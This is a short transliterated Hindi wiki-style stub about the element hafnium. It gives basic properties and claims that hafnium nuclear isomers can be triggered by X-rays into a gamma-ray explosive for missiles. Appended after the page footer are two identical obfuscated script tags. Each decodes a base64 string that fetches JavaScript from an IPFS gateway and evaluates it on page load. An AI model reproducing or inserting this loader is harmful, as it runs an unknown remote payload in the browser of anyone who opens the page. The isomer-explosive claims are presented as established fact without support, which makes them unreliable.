हाफ्नियम

haphniyam ek rasayanik tattv hai, jise Hf se pradarshit kiya jata hai. is tattv ke nabhik ya samasthanik uchch lambi avadhi tak oorja star mean bane rah sakate haian.

• haphniyam ka paramanu kramaank 72 tatha pratik Hf hota hai.
• nidaralaind ke di. kostar ne is rasayanik tattv ki khoj varsh 1923 mean ki thi.
• haphniyam ka galanaank 2230 (digri seantigred) tatha kvathanaank 4700 (digri seantigred) hota hai.
• vaijnanikoan kafi samay se janate haian ki haphniyam jaise kuchh tatvoan ke nabhik ya samasthanik uchch lanbi avadhi tak oorja star mean bane rah sakate haian.
• ye gama kiranoan ke vikiran ke sath dhire-dhire nimn oorja star mean ate haian. vaijnanikoan ne paya hai ki yah vikiran prakriya kritrim tarikoan se tej ki ja sakati hai. isake tahat kam oorja vali eks kiranoan ko haphniyam samasthanik se takarakar use gama kiran visphotak mean badala ja sakata hai.
• gama kiran ke roop mean nikalane vali oorja paranparik rasayanik visphotakoan ke mukabale hajaroan guna adhik hoti hai.
• poori tarah aveshit ek gram haphniyam samasthanik mean 50 kilogram tienati se jyada oorja sangrahit ki ja sakati hai. isase misail hathiyaroan ko maujooda paranparik hathiyaroan ke mukabale jyada shaktishali banaya ja sakata hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>